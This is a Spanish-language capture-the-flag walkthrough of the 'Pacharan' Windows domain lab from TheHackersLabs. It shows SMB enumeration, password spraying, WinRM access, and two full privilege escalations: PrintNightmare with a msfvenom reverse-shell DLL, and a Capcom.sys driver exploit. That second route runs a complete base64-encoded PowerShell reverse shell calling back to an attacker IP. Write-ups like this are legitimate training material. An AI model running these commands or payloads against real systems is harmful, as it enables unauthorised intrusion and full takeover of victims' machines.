Pacharan – TheHackersLabs Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: TheHackersLabs

‘TheHackersLabs’ Avatar


Resumen Link to heading

“Pacharan” es una máquina de dificultad fácil de la plataforma TheHackersLabs. Un login como un usuario anónimo nos permite filtrar información necesaria dentro del sistema acerca de potenciales usuarios y contraseñas. Esto nos permite ganar acceso a la máquina víctima con un usuario que tiene el privilegio SeLoadDriverPrivilege. Este privilegio puede ser usado para escalar privilegios y tener control absoluto sobre el sistema.


User / Usuario Link to heading

Empezando con un escaneo con Nmap muestra múltiples puertos abiertos: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 5985 WinRM; entre otros:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49669,49670,49671,49672,49675,49681,49688 192.168.69.69 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 05:56 -03
Nmap scan report for 192.168.69.69
Host is up (0.00025s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-17 03:57:17Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PACHARAN.THL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PACHARAN.THL, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:F9:EA:71 (Oracle VirtualBox virtual NIC)
Service Info: Host: WIN-VRU3GG3DPLJ; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-09-17T03:58:11
|_  start_date: 2024-09-17T03:46:38
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: -5h00m01s
|_nbstat: NetBIOS name: WIN-VRU3GG3DPLJ, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:f9:ea:71 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.14 seconds

Para extraer información del sistema, corremos enum4linux-ng (el cual puede ser descargado desde su repositorio de Github). Si intentamos obtener información con una sesión de usuario guest, obtenemos:

❯ python3 /home/gunzf0x/GitStuff/enum4linux-ng/enum4linux-ng.py 192.168.69.69 -u 'guest' -p ''

ENUM4LINUX - next generation

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 192.168.69.69
[*] Username ......... 'guest'
[*] Random Username .. 'zgjzuauv'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 =====================================
|    Service Scan on 192.168.69.69    |
 =====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 =====================================================
|    Domain Information via LDAP for 192.168.69.69    |
 =====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: PACHARAN.THL

<SNIP>

 ============================================================
|    Domain Information via SMB session for 192.168.69.69    |
 ============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: WIN-VRU3GG3DPLJ
NetBIOS domain name: PACHARAN
DNS domain: PACHARAN.THL
FQDN: WIN-VRU3GG3DPLJ.PACHARAN.THL
Derived membership: domain member
Derived domain: PACHARAN

<SNIP>

donde puedo ver un dominio: PACHARAN.THL.

Revisando los recursos compartidos que podemos leer como el usuario guest usando la herramienta NetExec tenemos:

❯ netexec smb 192.168.69.69 -u 'guest' -p '' --shares

SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL) (signing:True) (SMBv1:False)
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\guest:
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Enumerated shares
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  Share           Permissions     Remark
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  -----           -----------     ------
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  ADMIN$                          Admin remota
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  C$                              Recurso predeterminado
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  IPC$            READ            IPC remota
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  NETLOGON                        Recurso compartido del servidor de inicio de sesión
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  NETLOGON2       READ
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  PACHARAN
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  PDF Pro Virtual Printer                 Soy Hacker y arreglo impresoras
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  print$                          Controladores de impresora
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  SYSVOL                          Recurso compartido del servidor de inicio de sesión

De aquí, noot que el recurso NETLOGON2 no es un recurso usual.

Si revisamos este recurso compartido con smbclient, podemos ver:

❯ smbclient -U guest% //192.168.69.69/NETLOGON2

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 31 13:25:34 2024
  ..                                  D        0  Wed Jul 31 13:25:34 2024
  Orujo.txt                           A       22  Wed Jul 31 13:25:55 2024

                7735807 blocks of size 4096. 4721853 blocks available
smb: \> get Orujo.txt
getting file \Orujo.txt of size 22 as Orujo.txt (7.2 KiloBytes/sec) (average 7.2 KiloBytes/sec)

Donde somos capaces de descargar un archivo llamado Orujo.txt.

Leyendo su contenido nos retorna:

❯ cat Orujo.txt

Pericodelospalotes6969

lo cual parece una contraseña.

Dado que Orujo se ve como un usuario y Pericodelospalotes6969 se ve como una contraseña, podemos chequear si estas credenciales son válidas a través del servicio SMB con NetExec:

❯ netexec smb 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969'
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL) (signing:True) (SMBv1:False)
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\orujo:Pericodelospalotes6969

Podemos entonces revisar si tenemos nuevos recursos compartidos para leer como este nuevo usuario:

❯ netexec smb 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969' --shares --filter-shares READ

SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL) (signing:True) (SMBv1:False)
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\orujo:Pericodelospalotes6969
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Enumerated shares
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  Share           Permissions     Remark
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  -----           -----------     ------
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  IPC$            READ            IPC remota
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  NETLOGON        READ            Recurso compartido del servidor de inicio de sesión
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  PACHARAN        READ

Podemos leer el recurso compartido PACHARAN.

Usando smbmap en este nuevo recurso muestra un archivo:

❯ smbmap -H 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969' -r 'PACHARAN' --no-banner

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 192.168.69.69:445       Name: 192.168.69.69             Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Admin remota
        C$                                                      NO ACCESS       Recurso predeterminado
        IPC$                                                    READ ONLY       IPC remota
        NETLOGON                                                READ ONLY       Recurso compartido del servidor de inicio de sesión
        NETLOGON2                                               NO ACCESS
        PACHARAN                                                READ ONLY
        ./PACHARAN
        dr--r--r--                0 Wed Jul 31 13:21:13 2024    .
        dr--r--r--                0 Wed Jul 31 13:21:13 2024    ..
        fr--r--r--              921 Wed Jul 31 13:21:13 2024    ah.txt
        PDF Pro Virtual Printer                                 NO ACCESS       Soy Hacker y arreglo impresoras
        print$                                                  NO ACCESS       Controladores de impresora
        SYSVOL                                                  NO ACCESS       Recurso compartido del servidor de inicio de sesión
        Users                                                   NO ACCESS
[*] Closed 1 connections

Descargamos este archivo usando la flag --download:

❯ smbmap -H 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969' --download 'PACHARAN/ah.txt' --no-banner

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] Starting download: PACHARAN\ah.txt (921 bytes)
[+] File output to: /home/gunzf0x/OtherMachines/TheHackersLabs/Pacharan/nmap/192.168.69.69-PACHARAN_ah.txt
[*] Closed 1 connections

Si leemos este nuevo archivo, este parece contener una lista de potenciales contraseñas:

❯ cat 192.168.69.69-PACHARAN_ah.txt

Mamasoystreamer1!
Mamasoystreamer2@
Mamasoystreamer3#
Mamasoystreamer4$
Mamasoystreamer5%
Mamasoystreamer6^
Mamasoystreamer7&
<SNIP>
MamasoyStr5amer%
MamasoyStr6amer^
MamasoyStr7amer&
MamasoyStr8amer*
MamasoyStr9amer(
MamasoyStr10amer)
Mamasoystreamer1

Podemos entonces usar el servicio Microsoft RPC junto con la herramienta rpcclient y el comando enumdomusers para enumerar usuarios en sl sistema. Aplicando algunos filtros, podemos obtener los usuarios corriendo:

❯ rpcclient -U "Whisky%MamasoyStream2er@" 192.168.69.69 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}'

Administrador
Invitado
krbtgt
DefaultAccount
Orujo
Ginebra
Whisky
Hendrick
Chivas Regal
Whisky2
JB
Chivas
beefeater
CarlosV
RedLabel
Gordons

Podemos entonces intentar un Password Spray (es decir, ir probando para cada usuario la primera contraseña, luego pasamos a la siguiente contraseña y la probamos con todos los usuarios, y así…) contra estos potenciales usuarios. Creamos una lista de potenciales usuarios usando el output de rpcclient:

❯ rpcclient -U "Whisky%MamasoyStream2er@" 192.168.69.69 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}' > potential_users.txt

Luego, intentamos un Password Spray contra los usuarios encontrados usando la lista de contraseñas encontrada NetExec:

❯ netexec smb 192.168.69.69 -u potential_users.txt -p ah.txt --continue-on-success | grep '\[+\]'

SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\Whisky:MamasoyStream2er@

Y obtenemos credenciales: Whisky:MamasoyStream2er@.

Recuerdo, además, de los recursos compartidos de SMB, que uno de los recursos compartidos hacía alusión a una impresora. Podemos revisar usando nuevamente el servicio Microsoft RPC junto con rpcclient:

❯ rpcclient -U "Whisky%MamasoyStream2er@" 192.168.69.69 -c 'enumprinters'

        flags:[0x800000]
        name:[\\192.168.69.69\Soy Hacker y arreglo impresoras]
        description:[\\192.168.69.69\Soy Hacker y arreglo impresoras,Universal Document Converter,TurkisArrusPuchuchuSiu1]
        comment:[Soy Hacker y arreglo impresoras]

donde puedo ver una potencial nueva contraseña: TurkisArrusPuchuchuSiu1.

Revisamos entonces si uno de los usuarios que tenemos es válido para esta potencial contraseña:

❯ netexec smb 192.168.69.69 -u potential_users.txt -p 'TurkisArrusPuchuchuSiu1' | grep '\[+\]'

SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\Chivas Regal:TurkisArrusPuchuchuSiu1

y tenemos credenciales válidas: Chivas Regal:TurkisArrusPuchuchuSiu1.

Podemos revisar si este usuario se puede loguear a través del servicio WinRM:

❯ netexec winrm 192.168.69.69 -u 'Chivas Regal' -p 'TurkisArrusPuchuchuSiu1'

WINRM       192.168.69.69   5985   WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL)
WINRM       192.168.69.69   5985   WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\Chivas Regal:TurkisArrusPuchuchuSiu1 (Pwn3d!)

y podemos.

Podemos finalmente conectarnos como este usuario con la herramienta evil-winrm:

❯ evil-winrm -i 192.168.69.69 -u 'Chivas Regal' -p 'TurkisArrusPuchuchuSiu1'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents>

y leer la flag en el directorio Desktop de este usuario.


NT Authority/System - Administrator Link to heading

Encontramos 2 maneras de ganar total control del sistema.


Privesc #1: Usar PrintNightmare Link to heading

Ya que en la intrusión vimos una impresora, podemos revisar si este sistema es vulnerable a CVE-2021-34527, también conocido como PrintNightmare. Para revisar si es vulnerable (o no), podemos ejecutar:

❯ impacket-rpcdump @192.168.69.69 | grep -E 'MS-RPRN|MS-PAR'

Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol

Donde los protocolos MS-PAR y MS-RPRN están habilitados. Esto es una buena señal.

Luego, y dado que tenemos una sesión de Powershell con evil-winrm, podemos usar este módulo de Powershell para PrintNightmare. Ya descargado en nuestra máquina de atacante, lo subimos a la máquina víctima usando la función upload de evil-winrm:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> upload CVE-2021-34527.ps1 .\printNightmare.ps1

Info: Uploading /home/gunzf0x/OtherMachines/TheHackersLabs/Pacharan/exploits/CVE-2021-34527.ps1 to C:\Users\Chivas Regal\Documents\.\printNightmare.ps1

Data: 238084 bytes of 238084 bytes copied

Info: Upload successful!

e importamos/cargamos el módulo:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> Import-Module .\printNightmare.ps1

Una vez cargado e importado, trato de crear un usuario administrador usando este exploit:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> Invoke-Nightmare -DriverName "Xerox" -NewUser "gunzf0x" -NewPassword "gunzf0x123$!"

[+] created payload at C:\Users\Chivas Regal\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_7b3eed059f4c3e41\Amd64\mxdwdrv.dll"
[+] added user gunzf0x as local administrator
[+] deleting payload from C:\Users\Chivas Regal\AppData\Local\Temp\nightmare.dll

Según el output del programa, esto funcionó. No obstante, si reviso usuarios en el sistema mi usuario no ha sido creado:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> net user

Cuentas de usuario de \\

-------------------------------------------------------------------------------
Administrador            beefeater                CarlosV
Chivas                   Chivas Regal             DefaultAccount
Ginebra                  Gordons                  Hendrick
Invitado                 JB                       krbtgt
Orujo                    RedLabel                 Whisky
Whisky2
El comando se ha completado con uno o m s errores.

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> net localgroup administradores

Nombre de alias      administradores
Comentario           Los administradores tienen acceso completo y sin restricciones al equipo o dominio

Miembros

-------------------------------------------------------------------------------
Administrador
Administradores de empresas
Admins. del dominio
Se ha completado el comando correctamente.

Trato, además, de correr el script con las opciones por “defecto” (lo que creará un usuario administrador con credenciales adm1n:P@ssw0rd). Pero, de nuevo, aunque el output diga que esto funcionó, el usuario adm1n es creado pero no es agregado al grupo Administradores:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> Invoke-Nightmare

[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\Chivas Regal\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_7b3eed059f4c3e41\Amd64\mxdwdrv.dll"
[+] added user  as local administrator
[+] deleting payload from C:\Users\Chivas Regal\AppData\Local\Temp\nightmare.dll

Sospecho que esto debe ser por algo relacionado con el idioma al español del sistema (cambiando el grupo en inglés administrators a administradores en español). Incluso si revisamos el código fuente del módulo .ps1, no se ve que éste use la palabra administrators en el script, por lo que cambar “manualmente” el código fuente del script no fue una opción.

Cuando ya parecía todo perdido, si leemos el repositorio de Github del exploit, existe la opción de proveer un archivo .dll a través de la flag -DLL para ejecutar este archivo. De esta manera, creamos un archivo .dll malicioso con msfvenom en mi máquina de atacante:

❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.69.2 LPORT=443 -f dll -o rev.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: rev.dll

donde 192.168.69.2 es mi IP de atacante y 443 es el puerto en el cual me pondré en escucha con netcat.

De nuevo, subimos el archivo .dll malicioso a la máquina víctima usando la función upload de evil-winrm:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> upload rev.dll

Info: Uploading /home/gunzf0x/OtherMachines/TheHackersLabs/Pacharan/exploits/rev.dll to C:\Users\Chivas Regal\Documents\rev.dll

Data: 12288 bytes of 12288 bytes copied

Info: Upload successful!

Dado que el espacio en el username Chivas Regal puede causar conflictos a la hora de llamar rutas absolutas, decido copiar este archivo a una ruta la cual no contenga espacios. Basados en la lista proveída por AppLockerBypasses, decido seleccionar la ruta:

C:\Windows\System32\spool\drivers\color

la cual tiene la gracia de ser una ruta que no debería de tener problemas si es que queremos escribir/pasar archivos en ella.

Podemos entonces copiar el archivo .dll malicioso y pasarlo a esta ruta usando la sesión de evil-winrm:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> copy rev.dll C:\Windows\System32\spool\drivers\color\rev.dll

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> dir C:\Windows\System32\spool\drivers\color


    Directorio: C:\Windows\System32\spool\drivers\color


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        7/16/2016   3:18 PM           1058 D50.camp
-a----        7/16/2016   3:18 PM           1079 D65.camp
-a----        7/16/2016   3:18 PM            797 Graphics.gmmp
-a----        7/16/2016   3:18 PM            838 MediaSim.gmmp
-a----        7/16/2016   3:18 PM            786 Photo.gmmp
-a----        7/16/2016   3:18 PM            822 Proofing.gmmp
-a----        9/17/2024   7:13 AM           9216 rev.dll
-a----        7/16/2016   3:18 PM         218103 RSWOP.icm
-a----        7/16/2016   3:18 PM           3144 sRGB Color Space Profile.icm
-a----        7/16/2016   3:18 PM          17155 wscRGB.cdmp
-a----        7/16/2016   3:18 PM           1578 wsRGB.cdmp

Empiezo entonces un listener con netcat en el puerto 443 en mi máquina de atacante:

❯ nc -lvnp 443

listening on [any] 443 ...

En la máquina víctima, ejecuto el archivo .dll malicioso usando la flag -DLL junto con el módulo Invoke-Nightmare:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> Invoke-Nightmare -DLL 'C:\Windows\System32\spool\drivers\color\rev.dll'

[+] using user-supplied payload at C:\Windows\System32\spool\drivers\color\rev.dll
[!] ignoring NewUser and NewPassword arguments
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_7b3eed059f4c3e41\Amd64\mxdwdrv.dll"
[!] AddPrinterDriverEx failed
At line:1 char:1
+ Invoke-Nightmare -DLL 'C:\Windows\System32\spool\drivers\color\rev.dl ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Write-Error], WriteErrorException
    + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Invoke-Nightmare

Retornó un error. Sin embargo, si reviso mi listener de netcat obtengo algo:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [192.168.69.2] from (UNKNOWN) [192.168.69.69] 58002
Microsoft Windows [Versin 10.0.14393]
(c) 2016 Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>whoami

whoami
nt authority\system

Somos el usuario nt authority/system. GG.


Privesc #2: Usar el privilegio SeLoadDriverPrivilege Link to heading

Revisando los privilegios del usuario Chivas Regal, tenemos:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> whoami /priv

INFORMACIàN DE PRIVILEGIOS
--------------------------

Nombre de privilegio          Descripci¢n                                     Estado
============================= =============================================== ==========
SeMachineAccountPrivilege     Agregar estaciones de trabajo al dominio        Habilitada
SeLoadDriverPrivilege         Cargar y descargar controladores de dispositivo Habilitada
SeChangeNotifyPrivilege       Omitir comprobaci¢n de recorrido                Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso    Habilitada

Somos capaces de ver el privilegio SeLoadDriverPrivilege habilitado.

Podemos entonces usar este repositorio el cual provee todos los archivos necesarios para explotar este privilegio. Clonamos este repositorio en nuestra máquina de atacante. Luego, paso los archivos a la máquina víctima usando, nuevamente, evil-winrm:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> upload Capcom.sys C:\Windows\System32\spool\drivers\color\Capcom.sys

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Fuse/exploits/SeLoadDriverPrivilege/Capcom.sys to C:\Windows\System32\spool\drivers\color\Capcom.sys

Data: 14100 bytes of 14100 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> upload ExploitCapcom.exe C:\Windows\System32\spool\drivers\color\ExploitCapcom.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Fuse/exploits/SeLoadDriverPrivilege/ExploitCapcom.exe to C:\Windows\System32\spool\drivers\color\ExploitCapcom.exe

Data: 387752 bytes of 387752 bytes copied

Info: Upload successful!

Luego, cargamos el archivo .sys usando el comando LOAD:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> C:\Windows\System32\spool\drivers\color\ExploitCapcom.exe LOAD C:\Windows\System32\spool\drivers\color\Capcom.sys

[*] Service Name: aabvavbo
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-3046175042-3013395696-775018414-1108\?????????????????
NTSTATUS: 00000000, WinError: 0

Revisamos si esto ha funcionado probando con el comando whoami junto con el módulo EXPLOIT:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> C:\Windows\System32\spool\drivers\color\ExploitCapcom.exe EXPLOIT whoami

[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 00000216F7BE0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] Command Executed
nt authority\system

El comando es ejecutado y el output es nt authority/system. Por ende, estamos ejecutando comandos como este usuario.

Finalmente, podemos ir a la página de Reverse Shell Generator (https://www.revshells.com/), buscar por un payload de tipo PowerShell #3 (Base64), poner nuestra IP de atacante y puerto en escucha con netcat (los cuales en mi caso son 192.168.69.2 y 443, respectivamente), y generar un payload. Antes de ejecutar el payload, recordar empezar un listener con netcat en nuestra máquina de atacante:

❯ nc -lvnp 443

listening on [any] 443 ...

y, por último, ejecutamos el comando abusando del ejecutable ExploitCapcom.exe en la máquina víctima pasando el payload generado:

*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> C:\Windows\System32\spool\drivers\color\ExploitCapcom.exe EXPLOIT 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADYAOQAuADIAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='

[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000026321830008
[+] Shellcode was executed
[+] Token stealing was successful
[+] Command Executed

Obtenemos una shell como el usuario nt authority/system en nuestro listener:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [192.168.69.2] from (UNKNOWN) [192.168.69.69] 58090
whoami

nt authority\system

PS C:\Users\Chivas Regal\Documents>

Podemos, finalmente, leer la flag del usuario Administrador en su directorio Desktop.


~Happy Hacking